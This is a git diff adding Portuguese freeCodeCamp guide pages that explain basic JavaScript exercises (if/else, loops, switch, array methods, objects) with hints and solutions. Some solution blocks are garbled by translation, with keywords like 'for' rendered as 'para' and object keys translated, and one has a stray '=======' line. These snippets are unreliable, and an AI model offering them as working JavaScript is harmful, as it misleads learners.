+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function golfScore(par, strokes) { 
+  // Only change code below this line 
+  if (strokes == 1){ 
+    return "Hole-in-one!"; 
+  } else if (strokes <= par -2){ 
+    return "Eagle"; 
+  } else if (strokes == par -1) { 
+    return "Birdie"; 
+  } else if (strokes == par) { 
+    return "Par"; 
+  } else if (strokes == par +1) { 
+    return "Bogey"; 
+  } else if (strokes == par +2) { 
+    return "Double Bogey"; 
+  } else { 
+    return "Go Home!"; 
+  } 
+  // Only change code above this line 
+ } 
+ // Change these values to test 
+ golfScore(5, 4); 
+```
+
+### Explicação do código:
+
+*   Compare os parâmetros **par** e **strokes** para retornar os valores de string apropriados.
+*   `if / else if` cadeia for usada para controle de fluxo.
+*   String "Vá para casa!" é retornado para todas as condições em que os **traços** são maiores ou iguais a **par + 3** .
+
+## Solução alternativa de código:
+
+```javascript
+var names = ["Hole-in-one!", "Eagle", "Birdie", "Par", "Bogey", "Double Bogey", "Go Home!"]; 
+ function golfScore(par, strokes) { 
+  // Only change code below this line 
+  if (strokes == 1){ 
+    return names[0]; 
+  } 
+  else if (strokes <= par-2){ 
+    return names[1]; 
+  } 
+  else if (strokes == par -1){ 
+    return names[2]; 
+  } 
+  else if (strokes == par){ 
+    return names[3]; 
+  } 
+  else if (strokes == par +1){ 
+    return names[4]; 
+  } 
+  else if (strokes == par +2){ 
+    return names[5]; 
+  } 
+  else {return names[6];} 
+  // Only change code above this line 
+ } 
+ 
+ // Change these values to test 
+ golfScore(5, 4); 
+```
+
+· Corra no [repl.it](https://repl.it/@AdrianSkar/Basic-JS-Golf-code)
+
+\## Explicação do código Como já temos uma matriz definida nos `names` das variáveis, podemos aproveitá-la e usá-la para nossas instruções de retorno usando índices (por exemplo: `names[0] is the first one` ). Dessa forma, se você precisar alterar um resultado específico, não precisaria procurá-lo dentro da função, seria no início, na sua matriz.
+
+### Recursos
+
+*   [Golfe](https://en.wikipedia.org/wiki/Golf)
+*   [Desafio: Encadeamento Se Mais Declarações](http://www.freecodecamp.com/challenges/chaining-if-else-statements)
+*   [Desafio: Comparação com o Maior que Igual ao Operador](http://www.freecodecamp.com/challenges/comparison-with-the-greater-than-equal-to-operator)
+*   [Desafio: Comparação com o Menos de Igual ao Operador](http://www.freecodecamp.com/challenges/comparison-with-the-less-than-equal-to-operator)
+*   ["Array" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..24c36919cc
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/increment-a-number-with-javascript/index.md
@@ -0,0 +1,13 @@
+---
+title: Increment a Number with JavaScript
+localeTitle: Incrementar um número com JavaScript
+---
+## Incrementar um número com JavaScript
+
+Você pode facilmente incrementar (adicionar um) a uma variável numérica usando o operador de incremento '++'. Por exemplo:
+```
+var a = 6; 
+ a++; // Now, 'a' is equal to 7 -- post-fixing 
+ ++a; // Now, 'a' is equal to 8 -- pre-fixing 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md
new file mode 100644
index 0000000000..59326ff7cf
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Javascript
+localeTitle: Javascript Básico
+---
+## Javascript Básico
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md
new file mode 100644
index 0000000000..22b65d0f20
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/initializing-variables-with-the-assignment-operator/index.md
@@ -0,0 +1,11 @@
+---
+title: Initializing Variables with the Assignment Operator
+localeTitle: Inicializando Variáveis ​​com o Operador de Atribuição
+---
+## Inicializando Variáveis ​​com o Operador de Atribuição
+
+Para **inicializar** uma variável é dar a ela um valor inicial. Você pode declarar e inicializar uma variável da seguinte forma:
+```
+var num = 5; // This is equal to 5 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md
new file mode 100644
index 0000000000..8fecd54fc7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-if-statements/index.md
@@ -0,0 +1,63 @@
+---
+title: Introducing Else If statements
+localeTitle: Introduzindo instruções Else If
+---
+## Introduzindo instruções Else If
+
+Lembre-se de usar Read-Search-Ask se você ficar preso. Tente emparelhar o programa e escrever seu próprio código.
+
+\### Explicação do problema:
+
+```javascript
+function testElseIf(val) { 
+  if (val > 10) { 
+    return "Greater than 10"; 
+  } 
+ 
+  if (val < 5) { 
+    return "Smaller than 5"; 
+  } 
+ 
+  return "Between 5 and 10"; 
+ } 
+ 
+ // Change this value to test 
+ testElseIf(7); 
+```
+
+Modificaremos o código existente acima para que ele siga o fluxo de lógica que uma instrução **else-if** possui.
+
+Dica ###: 1 `javascript if (val > 10) { return "Greater than 10"; }` Todas as instruções `if` e suas variantes começam com uma declaração `if` .
+
+> _tente resolver o problema agora_
+
+Dica ###: 2 `javascript else if (val < 5) { return "Smaller than 5"; }` Instruções entre a instrução `if` e a instrução `else` em um fluxo **else-if** estão no formato else-if
+
+> _tente resolver o problema agora_
+
+Dica ###: 3 `javascript else { return "Between 5 and 10"; }` A última instrução em um fluxo **else-if** está no formato `else` ### Alerta de spoiler! ![Spoiler](http://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif) Solução à frente! ## Solução básica de código:
+
+```javascript
+function testElseIf(val) { 
+  if (val > 10) { 
+    return "Greater than 10"; 
+  } 
+ 
+  else if (val < 5) { 
+    return "Smaller than 5"; 
+  } 
+ 
+  else { 
+  return "Between 5 and 10"; 
+  } 
+ } 
+ 
+ // Change this value to test 
+ testElseIf(7); 
+```
+
+: rocket: [código de execução](https://repl.it/@RyanPisuena/GoldenWorriedRuntime) ## Explicação do código A estrutura de um **else-se o fluxo de lógica** é uma inicial `if` declaração, mais um `if-else` declarações, e uma final, `else` declaração.
+
+### Recursos
+
+*   ["if… else" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md
new file mode 100644
index 0000000000..12251b9908
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/introducing-else-statements/index.md
@@ -0,0 +1,58 @@
+---
+title: Introducing Else statements
+localeTitle: Apresentando instruções Else
+---
+## Apresentando instruções Else
+
+### Explicação do problema:
+
+· _Combine as instruções `if` em uma única instrução `if/else` ._
+
+#### Sugestão 1
+
+Quando a primeira instrução `if` retorna `false` a próxima parte do código é executada / avaliada (como `return` , `if` or `else` statements).
+
+> _tente resolver o problema agora_
+
+#### Sugestão 2
+
+Algumas vezes, `if` instruções ( `condition` ) podem ser substituídas por `else {code to execute instead}` instruções `else {code to execute instead}` (na essência, você está dizendo à sua função para fazer _"y"_ se não puder fazer _"x" em_ vez de especificar _"x"_ várias vezes).
+
+> _tente resolver o problema agora_
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução básica de código:
+
+```javascript
+function testElse(val) { 
+  var result = ""; 
+  // Only change code below this line 
+ 
+  if (val > 5) { 
+    result = "Bigger than 5"; 
+  } 
+ 
+  else { 
+    result = "5 or smaller"; 
+  } 
+ 
+  // Only change code above this line 
+  return result; 
+ } 
+ 
+ // Change this value to test 
+ testElse(4); 
+```
+
+· [Executar código em repl.it](https://repl.it/@AdrianSkar/Introducing-else-statements)
+
+### Explicação de código
+
+A função primeiro avalia `if` a condição `val > 5` avaliada como `true` . Se não, ele executa a próxima instrução ( `else { return "5 or smaller";})` .
+
+### Recursos
+
+*   ["if… else" - _Referência do MDN JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md
new file mode 100644
index 0000000000..85b89b9915
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-odd-numbers-with-a-for-loop/index.md
@@ -0,0 +1,38 @@
+---
+title: Iterate Odd Numbers With a For Loop
+localeTitle: Iterar números ímpares com um loop for
+---
+## Iterar números ímpares com um loop for
+
+Aqui está o exemplo:
+
+```javascript
+var ourArray = []; 
+ 
+ for (var i = 0; i < 10; i += 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+```
+
+Aqui está uma solução: Depois da string `// Only change code below this line.` nós adicionamos `for` loop. Você precisa copiar o loop do topo:
+
+`javascript for (var i = 0; i < 10; i += 2) { ourArray.push(i); }` E mude a `initialization` `var i = 0` para `var i = 1` , também você precisa alterar o nome da matriz `ourArray` para `myArray` :
+
+`javascript for (var i = 1; i < 10; i += 2) { myArray.push(i); }`
+
+Aqui está uma solução completa:
+
+\`\` \`javascript var ourArray = \[\];
+
+para (var i = 0; i <10; i + = 2) { ourArray.push (i); }
+
+// Configuração var myArray = \[\];
+
+// Apenas mude o código abaixo desta linha.
+
+para (var i = 1; i <10; i + = 2) { myArray.push (i); } \`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md
new file mode 100644
index 0000000000..f4f75646d8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterate Through an Array with a For Loop
+localeTitle: Iterar por meio de uma matriz com um loop for
+---
+## Iterar por meio de uma matriz com um loop for
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-through-an-array-with-a-for-loop/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md
new file mode 100644
index 0000000000..7b4052ea32
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-do...while-loops/index.md
@@ -0,0 +1,20 @@
+---
+title: Iterate with JavaScript Do...While Loops
+localeTitle: Iterar com JavaScript Do ... While Loops
+---
+## Iterar com JavaScript Do… While Loops
+
+*   `Do...While` loops garante que o código seja executado pelo menos uma vez, e após a execução, se a condição dentro do `while()` for **verdadeira** , continua com o loop, caso contrário, ele será interrompido.
+
+## Solução
+
+```javascript
+var myArray = []; 
+ var i = 10; 
+ 
+ do { 
+  myArray.push(i); 
+  i++; 
+ } while(i <= 10); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md
new file mode 100644
index 0000000000..1ce3a509c3
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md
@@ -0,0 +1,9 @@
+---
+title: Iterate with JavaScript For Loops
+localeTitle: Iterar com JavaScript For Loops
+---
+## Iterar com JavaScript For Loops
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md
new file mode 100644
index 0000000000..c0610c4302
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-while-loops/index.md
@@ -0,0 +1,40 @@
+---
+title: Iterate with JavaScript While Loops
+localeTitle: Iterar com loops While de JavaScript
+---
+## Iterar com loops While de JavaScript
+
+Enquanto loops serão executados contanto que a condição dentro de () seja verdadeira. Exemplo:
+
+```javascript
+while(condition){ 
+ code... 
+ } 
+```
+
+## Sugestão 1:
+
+Use uma variável iteradora como i em sua condição
+
+```javascript
+var i = 0; 
+ while(i <= 4){ 
+ } 
+```
+
+## Solução de Alerta de Spoiler à Frente!
+
+## Solução:
+
+```javascript
+// Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+ var i = 0; 
+ while (i <= 4){ 
+    myArray.push(i); 
+    i++; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md
new file mode 100644
index 0000000000..1aa13c7d34
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/local-scope-and-functions/index.md
@@ -0,0 +1,19 @@
+---
+title: Local Scope and Functions
+localeTitle: Escopo Local e Funções
+---
+## Escopo Local e Funções
+
+Escopo local significa que a variável está disponível em uma determinada área. No caso deste exercício, `myVar` só está disponível dentro da função, e não em qualquer lugar fora.
+
+Aqui está a solução básica de código para criar uma variável `myVar` local.
+
+```javascript
+function myLocalScope() { 
+  var myVar; 
+  console.log(myVar); 
+ } 
+ myLocalScope(); 
+```
+
+A variável existe apenas na função. Fora da função, é inexistente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md
new file mode 100644
index 0000000000..0d7d609ed7
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md
@@ -0,0 +1,9 @@
+---
+title: Logical Order in If Else Statements
+localeTitle: Ordem lógica em outras declarações
+---
+## Ordem lógica em outras declarações
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/logical-order-in-if-else-statements/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md
new file mode 100644
index 0000000000..52236b8c31
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-pop/index.md
@@ -0,0 +1,25 @@
+---
+title: Manipulate Arrays With pop()
+localeTitle: Manipular Arrays Com pop ()
+---
+## Manipular Arrays Com pop ()
+
+## Explicação do Problema
+
+Livre-se do último elemento da matriz. Em seguida, atribua esse elemento montado a `removedFromMyArray` .
+
+## Sugestão 1:
+
+Chame `.pop()` na matriz e atribua-a a `removedFromMyArray` .
+
+## Spoiler! Solução de Código:
+
+```javascript
+var removedFromMyArray = myArray.pop(); 
+ ======= 
+ Remove the last element of an array with the pop() method, like so: 
+```
+
+javascript var arr = \[1, 2, 3, 4, 5\]; arr.pop (); // Isso se livrou de 5
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md
new file mode 100644
index 0000000000..dc60f2a7ea
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-push/index.md
@@ -0,0 +1,13 @@
+---
+title: Manipulate Arrays With push()
+localeTitle: Manipular matrizes com push ()
+---
+## Manipular matrizes com push ()
+
+O método `push()` permite acrescentar (adicionar ao final) um elemento a um array. Igual a…
+
+```javascript
+var arr = [1, 2, 3, 4]; 
+ arr.push(5); // Now, the array is [1, 2, 3, 4, 5] 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md
new file mode 100644
index 0000000000..8b12c77fac
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-shift/index.md
@@ -0,0 +1,13 @@
+---
+title: Manipulate Arrays With shift()
+localeTitle: Manipular Matrizes Com Deslocamento ()
+---
+## Manipular Matrizes Com Deslocamento ()
+
+Enquanto `pop()` foi usado para se livrar do último elemento de um array, `shift()` é usado para se livrar do primeiro elemento. É como se você estivesse mudando os elementos uma posição. Veja isso:
+
+```javascript
+var arr = [1, 2, 3, 4, 5]; 
+ arr.shift(); // Gets rid of the 1 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md
new file mode 100644
index 0000000000..176d59b926
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulate-arrays-with-unshift/index.md
@@ -0,0 +1,13 @@
+---
+title: Manipulate Arrays With unshift()
+localeTitle: Manipular matrizes com unshift ()
+---
+## Manipular matrizes com unshift ()
+
+Enquanto `push()` adicionava elementos à parte de trás da matriz, `unshift()` adiciona à frente. Tudo o que tem a fazer é:
+
+```javascript
+var arr = [2, 3, 4, 5]; 
+ arr.unshift(1); // Now, the array has 1 in the front 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md
new file mode 100644
index 0000000000..bf501ece22
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/manipulating-complex-objects/index.md
@@ -0,0 +1,70 @@
+---
+title: Manipulating Complex Objects
+localeTitle: Manipulando Objetos Complexos
+---
+## Manipulando Objetos Complexos
+
+Aqui está o exemplo:
+
+```javascript
+var myMusic = [ 
+  { 
+    "artist": "Billy Joel", 
+    "title": "Piano Man", 
+    "release_year": 1973, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+  // Add record here 
+ ]; 
+```
+
+Aqui está uma solução: Depois da string `// Add record here` , adicionamos novo álbum ao `myMusic` . Você precisa começar a partir `,` . E você pode simplesmente copiar o álbum já criado: `javascript { "artist": "Billy Joel", "title": "Piano Man", "release_year": 1973, "formats": [ "CD", "8T", "LP" ], "gold": true }`
+
+e cole depois `,` :
+
+```javascript
+  // Add record here 
+  , 
+  { 
+    "artist": "Billy Joel", 
+    "title": "Piano Man", 
+    "release_year": 1973, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+ ]; 
+```
+
+Agora você pode alterar os valores de seu álbum:
+
+```javascript
+  // Add record here 
+  , 
+  { 
+    "artist": "Deep Purple", 
+    "title": "Smoke on the water", 
+    "release_year": 1976, 
+    "formats": [ 
+      "CD", 
+      "8T", 
+      "LP" 
+    ], 
+    "gold": true 
+  } 
+ ]; 
+```
+
+Aqui está uma solução completa:
+
+\`\` \`javascript var myMusic = \[ { "artista": "Billy Joel", "title": "Piano Man", " _ano de_ lançamento _": 1973, "formatos": \[ "CD", "8T", "LP" \] "gold": true } // Adicionar registro aqui { "artista": "Deep Purple", "title": "Smoke on the water", "_ ano de _lançamento_ ": 1976, "formatos": \[ "CD", "8T", "LP" \] } \];
+
+\`\` \`
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md
new file mode 100644
index 0000000000..9db2e54dd9
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/modify-array-data-with-indexes/index.md
@@ -0,0 +1,16 @@
+---
+title: Modify Array Data With Indexes
+localeTitle: Modificar dados de matriz com índices
+---
+## Modificar dados de matriz com índices
+
+Acesse a posição da matriz e altere-a assim:
+
+```javascript
+var arr = [1, 2, 3, 4, 5]; 
+ 
+ arr[0] = 6; // Now, the array is [6, 2, 3, 4, 5] 
+ arr[4] = 10 // Now, the array is [6, 2, 3, 4, 10] 
+```
+
+O conceito importante aqui é que as matrizes são **mutáveis** . Isso significa que eles podem ser alterados facilmente.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md
new file mode 100644
index 0000000000..8b9af04029
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiple-identical-options-in-switch-statements/index.md
@@ -0,0 +1,96 @@
+---
+title: Multiple Identical Options in Switch Statements
+localeTitle: Múltiplas Opções Idênticas em Instruções de Comutação
+---
+## Múltiplas Opções Idênticas em Instruções de Comutação
+
+### Explicação do Problema
+
+_Se a instrução break for omitida do caso de uma instrução switch, as instruções a seguir serão executadas até que uma quebra seja encontrada. Se você tiver várias entradas com a mesma saída, você pode representá-las em uma instrução switch como esta:_
+
+```javascript
+switch(val) { 
+  case 1: 
+  case 2: 
+  case 3: 
+    result = "1, 2, or 3"; 
+    break; 
+  case 4: 
+    result = "4 alone"; 
+ } 
+```
+
+_Casos para 1, 2 e 3 produzirão o mesmo resultado._
+
+_Escreva uma instrução switch para definir a resposta para os seguintes intervalos:_ `1-3` - "baixo"  
+`4-6` - "Mid"  
+`7-9` - "Alto"
+
+_Nota: Você precisará ter uma declaração de caso para cada número no intervalo._
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+## Solução de Código:
+
+```javascript
+function sequentialSizes(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val) { 
+    case 1: 
+    case 2: 
+    case 3: 
+      return "Low"; 
+      break; 
+    case 4: 
+    case 5: 
+    case 6: 
+      return "Mid"; 
+      break; 
+    case 7: 
+    case 8: 
+    case 9: 
+      return "High"; 
+      break; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ sequentialSizes(1); 
+```
+
+## Solução alternativa de código:
+
+```javascript
+function sequentialSizes(val) { 
+  var answer = ""; 
+  // Only change code below this line 
+  switch(val){ 
+    case 1: case 2: case 3: 
+      answer = "Low"; 
+      break; 
+    case 4: case 5: case 6: 
+      answer = "Mid"; 
+      break; 
+    case 7: case 8: case 9: 
+      answer = "High"; 
+  } 
+  // Only change code above this line 
+  return answer; 
+ } 
+ // Change this value to test 
+ sequentialSizes(1); 
+```
+
+· Executar código no [repl.it.](https://repl.it/@AdrianSkar/Basic-JS-Multiple-opts-in-switch)
+
+### Explicação de código
+
+Como você já tem uma variável chamada `answer` defined e a função a retorna, você pode modificar seu valor em cada grupo de instruções case para atender aos requisitos de exercício.
+
+### Recursos
+
+*   ["Switch: métodos para o caso de vários critérios" - _Referência do MDN para JavaScript_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/switch)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md
new file mode 100644
index 0000000000..61a5840f41
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md
@@ -0,0 +1,9 @@
+---
+title: Multiply Two Decimals with JavaScript
+localeTitle: Multiplique dois decimais com JavaScript
+---
+## Multiplique dois decimais com JavaScript
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-decimals-with-javascript/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..f066a680bd
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/multiply-two-numbers-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Multiply Two Numbers with JavaScript
+localeTitle: Multiplique dois números com JavaScript
+---
+# Multiplique dois números com JavaScript
+
+JavaScript usa o símbolo `*` para multiplicação.
+```
+var product = 8 * 10; //product gets the value 80 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md
new file mode 100644
index 0000000000..271b645307
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nest-one-array-within-another-array/index.md
@@ -0,0 +1,13 @@
+---
+title: Nest one Array within Another Array
+localeTitle: Aninhar uma matriz dentro de outra matriz
+---
+## Aninhar uma matriz dentro de outra matriz
+
+Matrizes são unidimensionais; Isso significa que eles armazenam apenas uma linha de dados. Mas você pode fazer uma matriz multi-dimensional, colocando matrizes dentro de matrizes! Igual a:
+
+```javascript
+var arr = [["Two-dimensional", 2], ["Two rows", 12]]; 
+```
+
+A matriz acima tem duas dimensões.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md
new file mode 100644
index 0000000000..5f7ae03bee
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/nesting-for-loops/index.md
@@ -0,0 +1,91 @@
+---
+title: Nesting For Loops
+localeTitle: Aninhando For Loops
+---
+## Aninhando For Loops
+
+**Lembre-se de usar Read-Search-Ask se você ficar preso. Tente parear programa: bustos _em_ silhueta: e escreva seu próprio código: lápis:**
+
